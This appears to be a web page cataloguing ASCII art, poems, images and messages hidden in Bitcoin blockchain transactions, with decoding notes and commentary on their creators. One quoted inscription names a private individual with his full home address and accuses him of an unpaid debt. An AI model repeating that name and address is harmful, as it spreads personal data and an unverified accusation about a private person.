;;;;;;;;;;;'''''#++''''++##+###'#######+####++++;; ;;;;;;;;;;;;''''+#++'+++###'#+;'##+####+++#+++++;; ;;;;;;::;;'''''+'+##++++###'#';###+##+####++++++;; ;;;;;;'++'''''++++#++++####'+;+##+###++####++++;;; ;;;;:+++''''++++++#####@###'+;######+#++###++++;;; ;;;';;#+'''+++++++########+'++######+++++++++++;;; ;;;::;'+'+++++++++########''++##+##+++++###++++;;; ;;:+;''+++++++++++#+#####+''#+#+###+++#####+++';;; ;'';;+''+++++++++++######'''+######+++++###+++;;;; ;';;'''+#+++++++++######+'';#++############++#:;;; ;'';''+'++##++++++++####+'''###@########++#++#;;;; ;''''''+@++++#++++++####''+'##############++#;;;;; ;''''''''++++++++++++###''+'##############+##;;;;; ;'''''''''++++++++++++##+'''##############+#+;;;;; ;;;;''''''+###+++####+######################;:;;;; ;;;;+''''''+##############+#################;:;;;;Code 5. 90b663f380ed043a0c35aaeed5405b260545df991fed4bfff3d1386ecb256ce1. 2017-05-27 via cryptograffiti.info. A low resolution man and a woman hugging looking forward, signed "B&E April 9". The image /s repeated at: tx 47fafaa96c24d3f204658fb4bec34ab6f18df138084e04535ea60cce8c4e4857 without signature.- tx 79947c26f8abc8d5c2a9b5442005a5426f35f436119b3092f59e6fe3fad80df1, block 530614 (2018-07-05) has this lolcat:
lolcat test |\---/| | o_o | \_^_/0 - tx f8102999c0aaf7681deec383eb8e7946f093e94a116a21e367e9ed6b7c32d1fb (2018-08-23) contains the logo of the GrrCon, an annual cybersecurity conference with message:
Your free GrrCon ticket
The actual code appears to be:OPRETURNISMYFRIEND
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_______________________________________ | An immutable poem | | Unchanging over time, forever | | Written in transactions flowing | | | | Unbroken blocks for a Rose | | That I found in September | | Freedom gives this simple prose | | For all our time together | | | | Thank you for being you |O | Like this poem, it is forever |, | After all these years true | | I love our time together |- tx 0d034d6dc3cfa8c8ebb1df202ada251bdf890f9dd5f0c4dffbe185b8cc5c999d, block 669986 (2021-02-10) a teddy bear, also visible e.g. at www.asciiart.eu/toys/teddy-bears? "xoxo" means hugs and kisses. Maybe this was in preparation for St. Valentine's day a bit later on February 14th?
___ {~._.~} ( Y ) ()~*~() (_)-(_) xoxo, S - tx 7076d9a40b44e92d8b96f9f5f1cb258619356d0789fe5bcf5197e2eaeb2b9eab block 693550 (2021-07-31) contains what could be an obituary for a bird:
and tx b478c2a3566fa644ccb3c9da567f39c9030e337537610c9ff5c5c885ea6109b8 block 693776 appears to follow up on it:
YOU ARE _ |o}= | ( / /) /_// _/_// \/_' __LL SO FATCute._ _ /and\/so \ | (o><-) | \//\ /\\ V_/ \_V `\ / ' loved Chris<3 - tx 5c4f060e6166a530d891cafd0e9df42441d29b1ed9cff71a1652201b8d50bd72 (2021-10-27) TODO what does it represent? It seems so familiar... Decoded from our dumps with
fold -w80 -s. It is encoded as a sequence of 43 OP_RETURN output scripts each containing 80 payload bytes each:d, ,do' ;d; :NNk;. .OWWk. .:OWK, '0MMWO:. ... .xWMMWd. .. .l0WMMk. dMMMMW0l. .,coxO0Kd..oWMMMMNl .xK0kdl:,. .oKWMMMWl ;KMMMMMWKo. .lXMMMMMX; :XMMMMMMX; :NMMMMWKc. 'dXMMMMMM0' oWMMMMMMMXd'.'dXMMMNc ,0MMMMMMO. lWMMWKl..,xNMMMMMMMNc .dNMMMMMMMMNx,..oXMMK; :XMMMMK; :XMWKc..;kNMMMMMMMMNl. ;kNMMMMMMMMNk, 'kWM0' lNMMX: ,KMNd..:OWMMMMMMMMNx, . '..,xNMMMMMMMMNd..oNMk..dNXo .OMXc .xNMMMMMMMMXd'.'' .'. ,ko..kXo'.,xXMMMMMMMWx..dWWd..;,..xWNl .OWMMMMMMMKo..,xNx..kO; .xNWo ,KMMXd,.'dXMMMMMMWl '0MNl oNMO..dWMMMMMWKl..;kNMMO..xMNx' cKMMN: :NMMMMNx,..xNMMMMMO. dMMX; :XMWl ,KMMMMMXo..:kNMMMMK, lWMMXc. .dNMMMNc '0MMMMMMNklOWMMMMMN: :NMM0dxKMMK, lWMMMMMNxoOWMMMMMWk. oWMMMWx. .kWMMMMMK:..oXMMMMMMMMMMMWNNNd .OMMMMMMMMk..kWNNWMMMMMMMMMMMKl..lXMMMMMWk. .;lx0XWMMNk,.'xNMMMMMWKd:,'.,' dMMMMMMMWl ',.',:dKWMMMMMNd..;OWMWNKkdl;. .coc,...,cokKKd..:KMMMNd. 'ldxd:. ,KMMMMMM0' .:dxdl' .dNMMW0; .okkoc;'..';coc. lNMMWXOxl:'..';, ,0MWo .',;::;. ;KMMMMK; ,::;,'. dWWk. ....':ldOKNWMMN: '0MMMMMMMMMNKkdc;. ;KX; ,xxdool;. lWMMNl .:loddkx, ;X0' .:lxOKNMMMMMMMMMMO.lWMMMMMMMMMMMMMMWXo. o0, .;loxkkx:. .OMMO. .:dxkkxo:. ;0c .kMMMMMMMMMMMMMMMMN:dXXXXXXXXXXXXXXXXXo .c' ,c;'....',,. dMMd .;:,'....,:' ':. .dXXXXXXXXXXXXXXXXXl................... dMMWNXXXNWK, lNNl ;XMWNXXXNWMd ...................xkkkkkkkkkkkkkkkOl..c; .xMMMMMMMMMN: cXXc :NMMMMMMMMMx. ;; .okkkkkkkkkkkkkkkkdWMMMMMMMMMMMMMMMNc ,K0' .kMMMMMMMMMN: :KK: :NMMMMMMMMMk. ,0O. oWMMMMMMMMMMMMMMMXWMMMMMMMMMMMMMNKo..xWWk. lNMMMMMMMMX; .... ;XMMMMMMMMNc 'OMWo .dKNWMMMMMMMMMMMMXNMMMMMMMNKOdl:'. cNMMWk. lNMMMMMMMNOddddddONMMMMMMMXc .OWMMK; .';cdk0XWMMMMMM00MNKOdl:'...;cl. '0MMMMWk. cXMMMMMMMWXKXNXKNMMMMMMMX: 'OWMMMMk. ,ol;'...,cox0XWx,;'...;cok0NWWd..xWMMMMMM0, ;0MMMMXd,...'..'cOWMMW0, ,0MMMMMMWd..kWMNKOxl:,...,..;dk0NWMMMMMWk..oWMMMMMMMMK: .xNMMWOl,.....:xXMMNx..cXMMMMMMMMNc '0MMMMMMMWXOx: .xWMMMMMMMMMO. lNMMMMX0XWMMNl cKMMMMWX00KNWMMM0: .xNMMNOxKMMMMX: ,0MMMMMMMMMWl '0MMMMMMMWO' cXMMMMX:.oWMMMx. .dNMMMMMMMMMMXd. lWMMMX; cNMMMMK: ,0MMMMMMMMk. :XMMMMMWk. lXMMMMMx..kMMMMd .c,.'dKWMMMMW0o'... cWMMMWd..kMMMMMK: 'OWMMMMM0' cXMMMNo..oNMMMMMK, cNMMMNc ;XXx;..,:cc:,..;xKc ;XMMMMX: ;XMMMMMXl..xNMMMK, :XWO; 'kWMMMMMNl '0MMMM0' oWMMWKxlc::coxKWMMx..kMMMMMO. oWMMMMMNx..:KW0, ,:..cKMMMMMMWd..xWMMMWo .OMMMMMMMMMMMMMMMMMK, cNMMMMWd..xWMMMMMW0:..:. .kWMMMMMMWx..dWMMMMK, lWMMMMMMMMMMMMMMMMMWd .OMMMMMNo..xWMMMMMMNd. :0WMMMMWd..oNMMMMWl '0MMMMMMMMMMMMMMMMMMMX; :XMMMMMNo..xWMMMMWk, .lKWMXl..xWMMMMMk. ,0WMMMMMMMMMMMMMMMMMNO, oWMMMMMNd..lXMWO:. .ld, ,OWMMMMMK; ...:kNMMMMMMMMMMMMMXx,..' .kMMMMMMWO, ,o:. '0MMMMMMNc 'O0l..,dXMMMMMMMMMXd'.,dXXc '0MMMMMMWO. .ckXWMWd..kWMMXd,.'dXMMMMMNx'.,xNMMMK; ;KMMWKx:. .:dl..dWMMMMMNx,.'xNWW0: .dNMMMMMMK; ;xo;. .cxOKNWMMMNd..:oc. :KMMMMWNKkd, .;lxOKXNk. :XNX0kdc,. - tx cbf7cfb6c074e35e82ea604e2de6c82d00c168d7d7a1205383f93a6f40ee8520 (2022-01-24) ASCII typeface ad for Keepcase, some kind of Bitcoin hardware wallet. Manually converted to horizontal form to not take up too much space here.
A bit later we see another ad for the same company:
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Figure 13. keepcase.jpg. tx 6ea24c417d60a1c5312ca8ec0ab44bbdba2d79d84ceffa4c9455e02f89831d7f (2022-01-24) contains a data URL for a JPEG image: /@@@@@@@@@@@@@@@@@@@data:image/jpeg;base64,<base64 image> \@@@@@@@@@@@@@@@@@@@ - tx 3c9216146bf1d9415ded8a1d03dd63fae8f0af2cbcaf68efaff4ad654a45b74d (2022-06-08) tiny face. The
--BEGIN TRIBUTE--format is a call back to BitLen, but they just don't do ASCII art like the old days anymore:---BEGIN TRIBUTE--- ....!&&&&&&#####B!.: ...:GB5Y55555PG#&Y.. ...^B7^::::^^~7P#J.. ...:Y7??!^~7?J?JP!.. ...:7!!?7~7???7?J!.. ....^!^:~~7!^~77^:.. :....!7!7???7?J!..:. ::...:7Y?77?YYJ!:..: :::::.~?JJY5Y77?Y5^. ----END TRIBUTE--- B5 - tx 14e89fc01c367841f2d5c2786a3b051d67008be980694272530546a0452aeea9 (2022-07-05). ASCII typeface for:
Chockchai Chawatcharaporn
This seems to be aa Thai name, e.g. possibly www.linkedin.com/in/chokchai-thawatcharaporn-179398213/?originalSubdomain=th. And so we learn that Thai people are the coolest because their name can end in "-porn" which is awesome. The given name is:and the rest is just more of the same, just 10x longer. Manually converted to horizontal form to not take up too much space here.@ ###########* @ ### ###' @ ######## @ ### ###* @ #########* @ ### ###" @ /######### @ ########/ @ @ ###/* @ ### ### @ ### ###, @ ### ## @ ##/* @ ### ### @ ### *## @ ###. @ @ ##< @ ########## @ ### ###] @ ########( @ ##( @ ########### @ ####### ### @ ###, @ @ ###\. @ ### ###. @ ###\ ### @ ### ##. @ ##\ @ ### ###. @ ### ##/ @ ### @ @ \#########* @ ### ###/ @ #######/ @ ### ###\ @ ##########\ @ ### ###/ @ ### #* @ /########## @
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grep -n -r '...' . | sortTribute to computer security researcher Len Sassaman, who killed himself on 2011-07-03, starting with an ASCII art portrait followed by text.
Because it comes so early in the blockchain, and because it is the first ASCII art on the blochain as far as we can see, and because is so well done, this is by far the most visible ASCII art of the Bitcoin blockchain.
Present at tx 930a2114cdaa86e1fac46d15c74e81c09eee1d4150ff9d48e76cb0697d8e1d72. It does not show well on Bitcoin Inscription Indexer however with rationale described at: github.com/cirosantilli/bitcoin-inscription-indexer/tree/3f53e152ec9bb0d070dbcb8f9249d92f89effa70#smart-newline-joining
But it can be seen at on bitcoinStrings.com at: bitcoinstrings.com/blk00003.txt.
Transaction: www.blockchain.com/btc/tx/930a2114cdaa86e1fac46d15c74e81c09eee1d4150ff9d48e76cb0697d8e1d72 from 2011-07-30, a few weeks after the suicide.
Discussion: bitcoin.stackexchange.com/questions/3370/in-which-block-was-len-sassaman-memorialised/101276#101276
Created by famous computer security researcher Dan Kaminsky and Travis Goodspeed, presumably this other security researcher, evidence:
- signature on the tribute
- the art is highlighted at Video 1. "Black OPS of TCP/IP by Dan Kaminsky (2011)", which happened very few days after the art was uploaded to the blockchain, thus making it exceedingly unlikely that someone else could have done it
"Bernanke" is a reference to Ben Bernanke, who was one of the economists in power in the US Government during the financial crisis of 2007-2008, and much criticized by some, as shown for example in the documentary Inside Job (2010). As hinted in the Genesis block message, the United States Government bailed out many big banks that were going to go bankrupt with taxpayer money, even though it was precisly those banks that had started the crisis through their reckless investment, thus violating principles of the free market and business accountability. This was one of the motivations for the creation Bitcoin, which could reduce government power over economic policy.
It is worth mentioning that there do exist some slightly earlier "artistic" inscriptions in the form Punycode inscription in the Namecoin blockchain, but as far as we've seen, the are all trivial compared to
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Len was our friend.
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husband to Meredith
brother to Calvin,
son to Jim and
Dana Hartshorn,
coauthor and
cofounder and
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more. We dedicate
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Len, who would have
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Travis Goodspeed
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From the JSON transaction we understand the encoding format:
So it is really encoded one line at a time in the
"out":[
{
"spent":false,
"tx_index":0,
"type":0,
"addr":"1CqKQ2EqUscMkeYRFMmgepNGtfKynXzKW7",
"value":1000000,
"n":0,
"script":"76a91481ccb4ee682bc1da3bda70176b7ccc616a6ba9da88ac"
},
{
"spent":false,
"tx_index":0,
"type":0,
"addr":"157sXa7duStAvq3dPLWe7J449sgh47eHzw",
"value":1000000,
"n":1,
"script":"76a9142d2d2d424547494e20545249425554452d2d2d2088ac"
},
...
{
"spent":false,
"tx_index":0,
"type":0,
"addr":"157sXYpjvAyEJ6TdVFaVzmoETAQnHB6FGU",
"value":1000000,
"n":77,
"script":"76a9142d2d2d2d454e4420545249425554452d2d2d2d2088ac"
}script of the transaction outputs.Starting at tx 6650107a4e4e4838ba1081ce87862c38dcb4181b8d34fc0405b099213ba76033 (2014-11-04) and going on one line per transaction using the bitcoin blockchain
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j( nP" "*MMnxThe transaction before the ASCII art tx 9b08c00ced2bca4525d74e82db9af2aec8ef213eb1c1bf68a48b6be929968332 starts with what is likely a "Legalize" and must be a Tor Onion service:
but that address as is +
j(-> 1EGa1izEFDHzEobDDQny73re9BwXdzhZvH <-.onion is invalid, TODO find the correct one.Other marijuana plants can be found contained entirely in single transactions:
- tx b338cdddb20a7ffe5114a2eec7bef736720ab5eeeb4a723e66ef623f42949ccb via cryptograffiti.info
- tx fc4981261701d06610394c4200a9cbf03f890ac928db58938bed8d7ba7eaccf3 via cryptograffiti.info Signed:
[ mirrored by http://dmabraham.info/ | moarrr ] - tx 55623bf694f6dfbda4db2ea7a940ffd80c49eee3430e44a57fdfecd4e9381f72 via cryptograffiti.info. Signed:
who appears on some other cryptograffiti messages as well.
[ mirrored by http://dmabraham.info/ | moarrr ] [ CryptoGraffiti: Donate BTC: 1MVpQJA7FtcDrwKC6zATkZvZcxqma4JixS ] [ Latest News: EU/Greece chaos due to huge debts! ]
tx d338da06d13a21a296506c0c8cd8c8533ba8fa076ff5c2c1fd02a457aac3ef77 via cryptograffiti.info contains a marihuana plant followed by a complaint:
[ mirrored by http://dmabraham.info/ | moarrr ]
[ CryptoGraffiti: Donate BTC: 1MVpQJA7FtcDrwKC6zATkZvZcxqma4JixS ]
[ Latest News: EU/Greece chaos due to huge debts! ]
[ Bless! ]
{ Supa - https://bitcoin-otc.com/viewratingdetail.php?nick=supa }
William Robert Girdlestone
1535 Dingwall RD Apt 35
Courtenay
British Columbia
Canada
V9N 3S8
( https://bitcointalk.org/index.php?topic=575743.0 )
[ One of the lowest rated #bitcoin-otc users, owing me at least 10 BTC ]
[ Most likely much more with compounding interesting, but its all ]
[ written off as a huge loss to me. Never again deal with him! ]ASCII art of a Force of Will, a famous and powerful Magic: The Gathering card first printed in 1996.
This is Ciro Santilli's personal favorite ASCII art he has found in the blockchain so far. Also Ciro could not find any other previous source of this, so there is some chance it is original. One can dream.
The choice of card is probably linked to the function of the card in the game of Magic: The Gathering. This card essentially prevents the opponent from casting a spell they are about to cast. The presumed intended meaning of this art is further accentuated by the old card type term "interrupt" (late renamed to "instant"), which suggests that "this ASCII art is an interruption to the normal monetary transactions of the blockchain".
One of also reminded of the prayer wars interruption attempts. We could not however identify anything specific that this ASCII art might have tried to interrupt besides the normal flow of monetary transactions.
If one goes full art critic mode, it is also tempting to draw a parallel between the card's "You may pay 1 life" alternative casting cost (as opposed to 5 mana, 3 and two blue, which is a very large cost for most games) as being a reference to the money spent by the uploader of the art to upload it.
TODO understand exactly how it was encoded and why it is so weird. The
UUUU has a slightly weird encoding which we fixed by hand here TODO understand. -------------------------------------
| Force of Will 3 U U |
| --------------------------------- |
| | //////////// | |
| | ////() ()\////\ | |
| | ///_\ (--) \///\ | |
| | ) //// \_____///\\ | |
| | ) \ / / / / | |
| | ) / \ | | / _/ | |
| | ) \ ( ( / / / / \ | |
| | / ) ( ) / ( )/( ) \ | |
| | \(_)/(_)/ /UUUU \ \\\/ | | |
| .---------------------------------. |
| Interrupt |
| ,---------------------------------, |
| | You may pay 1 life and remove a | |
| | blue card in your hand from the | |
| | game instead of paying Force of | |
| | Will's casting cost. Effects | |
| | that prevent or redirect damage | |
| | cannot be used to counter this | |
| | loss of life. | |
| | Counter target spell. | |
| `---------------------------------` |
| l
| Illus. Terese Nelsen |
-------------------------------------
The following two ASCII transactions:
suggest this ASCII art might have been uploaded by Figure "Erich Erstu", AKA Hyena, creator of cryptograffiti.info, a service which would have allowed uploading ASCII content to the blockchain.
tx 0f05c47a8caafadecc10d70ba3bf010eaf6bb416b5e1ad7b01cf3445f5fb7a1c
I am. Therefore, I have come to be.
-- Hyena
tx e6d48f6912929a58a2ee30c13768058777d8547215c27109b5cb0724e7abaaba
Erich,
Bro, this looks excellent!!
-DurielThe only other mention of "Duriel" in the blockchain is tx 140562ceb42fc8943fa52ccc0ddbb11ca2d88dae9b5240d7a4b46864538c515a which has some freedom of speech comments and gives the email:
paystamper.com was some other blockchain service from circa 2015:
Duriel@paystamper.com = 1HcuhfTAiQCt6KdMG2rZLXsTcKYj9nLDhSThe following almost certainly contain ASCII art but we were not yet able to decode them. Puzzle solvers from the Internet, we need your help!
- tx b4ba91b4892ff85a5eb18b85bc1fd744d9418b2a71f1dc130447893b9e1cab60, block 651974 (2020-10-09) The link yang.yiping.de/btc is dead with no archives, but the toplevel yang.yiping.de is an obituary to a Chinese lady called "Yang Yiping" (杨一平). The Bitcoin message is acknowledged on the website at:
archiviert auf der BTC Blockchain TX b8e80f2bd1eac8c6db4dfb8b6cc9c8eb71133cbc1a0d32e6952c1a2818eecc8f
She apparently lived in Germany as the website is bilingual German/Chinese, the text:Wir vermissen dich
means:We miss you
TODO decode properly. It is encoded as P2PKH keys (20 bytes at a timt) but also contains its own newlines and trailing spaces. Maybe a start:Could it be across? She's apparently Christian based on the website..-==-. `-==- | | | | | Yang, Yiping '~~~~~~~~~~~~~~~~~~' *-====-. .-====-* *~~~~~~~~~~~~~~~~~~* .-=====' '=====-. .~~~~~~~~~~~~~~~~~~. //yang.yiping.de/btc Wir vermissen dich! | Yang, Yiping |~tx b8e80f2bd1eac8c6db4dfb8b6cc9c8eb71133cbc1a0d32e6952c1a2818eecc8f, block 652005 (2020-10-09) also contains some related content with her name, though not identical. Perhaps they are meant to be assembled together somehow? - tx 71d9187cbb7b00b4c516df218499bbc301996262cfafc4533fd7916af1fb6315, block 709632, (2021-11-14 ) starts a consecutive sequence of transactions that seem to encode an ASCII art. Each line is encoded with OP_RETURN, is 38 bytes long, and starts and ends in 6 spaces, leading to 26 non-whitespace characters per line. In block order we have:
The strings:
;4Fdzw1k=zzzzzzzzzzzzzzzz; ,zzzzzq;. 1zzzz, ,zzzzq ,qzzzzzz1, 1zzzz, ,;qzzzzz1qq, ,;1zzzzzqqq, ,zzzzq .;qzzzzzq:1zzzz, ,zzzzq:1zzzzzq;. 1zzzz, ,zzzzq .;qzzzzzzz, ,vtv3f5aKY0jGQglP9a1AGw==. ;BynQtpeUyWTXKGTrGhdV2Q==; ;tVMd3L1CKM4wFmyxEEEUV2bY; ,zzzzzzzzzzzzzzzzzzzzzzzz, ,zzzzzzzzq, 1zzzz, .:qqzzzzqqq, ,zzzzq ,qzzzzzzzzzz, ,zzzzzzzzzzzzzzzzzzzzzzzz,seem like Base64 encoded data due to thevtv3f5aKY0jGQglP9a1AGw== BynQtpeUyWTXKGTrGhdV2Q== tVMd3L1CKM4wFmyxEEEUV2bY 4Fdzw1k==sign padding, but nothing human readable comes out of them.
bitcoin.jpg. Source. A bitcoin logo on block 123573 (2011-05-13).
This is the very first ASCII string to show up at github.com/cirosantilli/bitcoin-inscription-indexer after only the Genesis block message.
This version of the image was just ripped from Hidden surprises in the Bitcoin blockchain by Ken Shirriff (2014).
Reconstructing it should likely be a simple matter of copy pasting the ASCII yEnc encoding present in the two transactions from tx ceb1a7fb57ef8b75ac59b56dd859d5cb3ab5c31168aa55eb3819cd5ddbd3d806 into a text file and decoding the yEnc, but after searching for 20 minutes Ciro couldn't find a working yEnc decoder on Ubuntu 21.10. How can a format be so dead, even after considerable extensive use in the Usenet??? It makes you think about life.
As mentioned by Ken, the logo is split across two transactions: ceb1a7fb57ef8b75ac59b56dd859d5cb3ab5c31168aa55eb3819cd5ddbd3d806 and 9173744691ac25f3cd94f35d4fc0e0a2b9d1ab17b4fe562acc07660552f95518.
There appears to be nothing strictly linking the two transactions, besides that they are very close by and the only ASCII strings around back in those pre-infinite-spam days, as can be seen at: github.com/cirosantilli/bitcoin-inscription-indexer/blob/master/data/out/0123.txt#L11, so you could just see both of them by eye.
Also the first one starts with:
and the second one ends in:
so this is likely clearly part of the yEnc format for someone who knows it, and the filename
=ybegin line=128 size=8776 name=bitcoin.jpg=yend size=8776 crc32=a7ac8449bitcoin.jpg gives the file format.They are not even in the same block:both from 2011-05-13. Also note that they ended up being committed reverse order, since you don't have a strict order control over the final blockchain.
An image of a dozen people siting at a dinner table, with each person identified by a Twitter handle that was edited in.
This image is present tx 4be3a833ee83b4ca7d157d60fbf7411f7528314ce90df8a844f855118bc6ca11 from block 357239 (2015-05-20), an input transaction.
It contains a base 64 encoded image:
v27sSra.jpg
/9j/4AAQSkZJRgABAQEASABIAAD/2wBDACgcHiMeGSgjISMtKygwPGRBPDc3PHtYXUlkkYCZlo+A
...
TAkBaMxbbhuYXGDMyXw/MIV84IqrE//Z
...By manually copy pasting that into a file
The exact same content appears to be present on the next input transaction 56d23a230042c094bc54bb72fc4c10a3f26750030b9927994e741d3689f5c09e on the same block.
v27sSra.base64 we can obtain the image with:
base64 -d <v27sSra.base64 >v27sSra.jpgGoogle reverse image search leads to freedom-to-tinker.com/2015/05/21/the-story-behind-the-picture-of-nick-szabo-with-other-bitcoin-researchers-and-developers/ The story behind the picture of Nick Szabo with other Bitcoin researchers and developers by Arvind Narayanan (2015), in which Arvind (@random_walker) who attended the meeting clearly lists all names and handles, and talks about the background of gathering of Bitcoin devs that happened in March 2014. The article also contains a higher resolution version of the image uploaded to the blockchain.
It also links to a popular Reddit thread that contains the image from May 2015: www.reddit.com/r/Bitcoin/comments/36hfu4/pic_coredevs_having_dinner_with_nick_szabo/
Googling
v27sSra.jpg leads to bitcointalk.org/index.php?topic=1061926.220;wap "New York Times identifies Nick Szabo as Satoshi Nakamoto" which links to i.imgur.com/v27sSra.jpg so this is a Satoshi Nakamoto-real-identity thing.A text/file upload system.
bitfossil.org/ an indexer website which interprets the format. Each page has an "abuse report" button to unindex presumably. TODO website source? Local indexer/extraction script? Ciro's indexer and its generated index can be found at:
Each AtomSea payload has a toplevel transaction which links to other transactions. All the linked transactions together make up the payload. The most common payload type is a text plus image, as is the case of Nelson-Mandela.jpg, which can be seen at bitfossil.com/78f0e6de0ce007f4dd4a09085e649d7e354f70bc7da06d697b167f353f115b8e/ where
78f0e6de0ce007f4dd4a09085e649d7e354f70bc7da06d697b167f353f115b8e is the toplevel transaction ID: www.blockchain.com/btc/tx/78f0e6de0ce007f4dd4a09085e649d7e354f70bc7da06d697b167f353f115b8eSee Section "Nelson-Mandela.jpg (2013-12-07)" for a detailed reverse engineering of the format, and Section "AtomSea & EMBII data format" for a summary of it.
Holy crap, they actually support:
- multipage setups:
The Mahabharatabitfossil.com/0618f12af65a4e82f8e7b41f8578721dfeb109e9a73ff71aebdbc982696e3720/ - image galleries: bitfossil.org/ae8d3b46b934bedc363e11abe8c8607171994470957c286274f699a0b3a9bbd7/index.htm
- audio:
Spock_Live_Long_And_Prosper.mp3bitfossil.org/1bc87dbff1ff5831287f62ac7cf95579794e4386688479bab66174963f9a4a0c/index.htm - author photo below post via signture!!! bitfossil.org/738ab32bf82e3e0d4d2b29e40ad194cbbef6685d0116e94371e3cef4992349c8/index.htm (testnet) See the
SIGNED BYwith EMBII's photo!
apertus.io/ is the system to upload/index locally, and therefore likely part of the backend of bitfossil: github.com/HugPuddle/Apertus
The system shows the messages and the images on a single page: bitfossil.org/4cbb32cd27b5b5edc12d3559bdffc1355ac2a210463d5cfaadc7ce9b06675b2b/index.htm It is basically a blockchain-based Twitter.
Hidden surprises in the Bitcoin blockchain by Ken Shirriff (2014) suggests that AtomSea & EMBII are the creator's aliases. The following online profiles of the creators feel authentic:Tried saying hi to them at: twitter.com/cirosantilli/status/1382080760774033415 and they replied: twitter.com/AllenVandever/status/1563964396656812034
- AtomSea:
- EMBII
- HugPuddle
Somewhat related projects:
At twitter.com/EMBII4U/status/1762501350997233976 (2024) EMBII mentions that he was inspired by the Satoshi uploader.
These are of course likely all made by AtomSea & EMBII themselves while developing/testing their upload system.
They are also artsy peoeple themselves, and as pointed at twitter.com/AllenVandever/status/1563964396656812034 what they were doing was basicaly non-fungible token art, which became much much more popular a few years later around 2021.
The first upload that we could find at github.com/cirosantilli/bitcoin-inscription-indexer/tree/3f53e152ec9bb0d070dbcb8f9249d92f89effa70#atomsea-index was tx 44e80475dc363de2c7ee17b286f8cd49eb146165a79968a62c1c2c4cf80772c9 on block 272573 (2013-12-01) but it does not show on Bitfossil: bitfossil.org/44e80475dc363de2c7ee17b286f8cd49eb146165a79968a62c1c2c4cf80772c9/. This is was due to an upload bug explained by the following entry. By looking at the ASCII data at github.com/cirosantilli/bitcoin-inscription-indexer/blob/master/data/out/0272.txt#L449 that this is meant to contain the same content as the following message: a quote from the Bhagavad Gita, so this is definitely a bugged version of the following one.
The next one is bitfossil.org/c9d1363ea517cd463950f83168ce8242ef917d99cd6518995bd1af927d335828/ on block 272577 (2013-12-02). It actually shows on bifossil and it reads:
I WONDER WHAT HISTORY WILL THINK ABOUT THESE FIRST FEW BUGS...HA HA HA. NOBODY IS PERFECT.followed by:
The bug message is definitely a reference to the previous non-visible bugged upload bitfossil.org/4b72a223007eab8a951d43edc171befeabc7b5dca4213770c88e09ba5b936e17/, TODO understand exactly how they fucked up. This illustrates the beauty of the blockchain very well: unlike with version control, you don't just see selected snapshots: you see actual debug logs!!!He who regards
With an eye that is equal
Friends and comrades,
The foe and the kinsman,
The vile, the wicked,
The men who judge him,
And those who belong
To neither faction:
He is the greatest.
WeAreStarStuff.jpg. Source. The third AtomSea & EMBII upload, and the first actual image.
Message:
Photo etchin' test. #AtomSea #embii (photo by Travis Ehrich)The image shows showingAtomSea and EMBII together, presumably photographed by this dude.
The filename is of course a reference to the quote/idea: We Are Made of Star-Stuff that was much popularized by Carl Sagan.
bitfossil.org/fac0b9a4f90414710b806fd286e020aea2404498946845ef3783f305dd4cd3a7 (2024-01-13) contains a crapped version with only AtomSea persent.
HugPuddle.jpg. Source. The fourth AtomSea & EMBII upload, and the second image. Message:
HugPuddle Testing Apertus Disk Drive
And then finally we meet Chiharu, EMBII's partner, with her hair painted blond (she's Japanese): ILoveYouMore.jpg.
Then there are two undecoded ones TODO investigate:
Then Nelson-Mandela.jpg.
Then there's an approximation of pi as ASCII decimal fraction bitfossil.org/70fd289901bae0409f27237506c330588d917716944c6359a8711b0ad6b4ce76/ from block 273522 (2013-12-07):
3.1415926535897932384626433832795028841971693993751058209749445923078164062862089986280348253421170679821480865132823066470938446095505822317253594081284811174502841027019385211055596446229489549303819644288109756659334461284756482337867831652712019091456485669234603486104543266482133936072602491412737245870066063155881748815209209628292540917153643678925903600113305305488204665213841469519415116094330572703657595919530921861173819326117931051185480744623799627495673518857527248912279381830119491298336733624406566430860213949463952247371907021798609437027705392171762931767523846748184676694051320005681271452635608277857713427577896091736371787214684409012249534301465495853710507922796892589235420199561121290219608640344181598136297747713099605187072113499999983729780499510597317328160963185950244594553469083026425223082533446850352619311881710100031378387528865875332083814206171776691473035982534904287554687311595628638823537875937519577818577805321712268066130019278766111959092164201989
tx b8b9f50a354166c46b69ecd47a0fbd20ee78c3471d2557bf275aff1b4cf4752d (2013-12-07) contains Where the Sidewalk Ends by Shel Silverstein. TODO find on bitfossil.org, toplevel, tx seemed like a likely toplevel, but not working: bitfossil.org/b8b9f50a354166c46b69ecd47a0fbd20ee78c3471d2557bf275aff1b4cf4752d
There is a place where the sidewalk ends
And before the street begins,
And there the grass grows soft and white,
And there the sun burns crimson bright,
And there the moon-bird rests from his flight
To cool in the peppermint wind.Let us leave this place where the smoke blows black
And the dark street winds and bends.
Past the pits where the asphalt flowers grow
We shall walk with a walk that is measured and slow
, And watch where the chalk-white arrowls go
To the place where the sidewalk ends.Yes we'll walk with a walk that is measured and slow,
And we'll go where the chalk-white arrows go,
For the children, they mark, and the children, they know
The place where the sidewalk ends.
tx 56768b30dec33bd284223d85c23087975e2360b3391d20d505aa59a5675e5379 (2013-12-13) TODO find on bitfossil.org has the cutest message:
Dear Aliens,Hey.Sincerely, EMBII & AtomSeaMBII
tx 415c702759893c63b3a57a7d196b014e51b2a33d2396c74b8e71acfaff6b9360 (2013-12-14) contains a poem by 13th century Persian poet Rumi (TODO find bitfossil.org toplevel), starting with:
My dear friendReproduced e.g. at: www.abuddhistlibrary.com/Buddhism/H%20-%20World%20Religions%20and%20Poetry/World%20Religions/Islam/Teachers/Rumi/My%20dear%20friend/Rumi%20-%20my%20dear%20friend.htm
never lose hope
when the Beloved
sends you away.
bitfossil.org/73ca50321147bac9010bec43d63f7f76857fe9ede240cc89710e28723fdb242f/ (2013-12-14) has message:
MULTIFILE SUPPORT TESTand links to 3 .txt files
1.txt, 2.txt, 3.txt containing single characters 1, 2, and 3.
2013-12-20. Message:
Possibly www.linkedin.com/in/colby-nelson-59b538207/.Colby Nelson and myself burnt the midnight oils designing the APERTUS imagery last night....Thanks Colby for all your help.
Contains an Apertus logo which is used on bitfossil.org/ itself, presumably they were designing that logo.
This is the first of many love declarations and mentions EMBII makes of his partner Chiharu! This came just one day afte the very first uploads of the system.
ILoveYouMore.jpg. Source. Message:
My Dearest Chiharu....I Love you more. <3 EricNote that she's Japanese and not really bond, it's hair dye.
OurWedding.jpg. Source. Message:
My Dearest Chiharu, I will love you forever. Taken Aug 6th 2014 in Ipswich, SD.
MadyBobbyOffToCollege.jpg. Source. Associated messages:
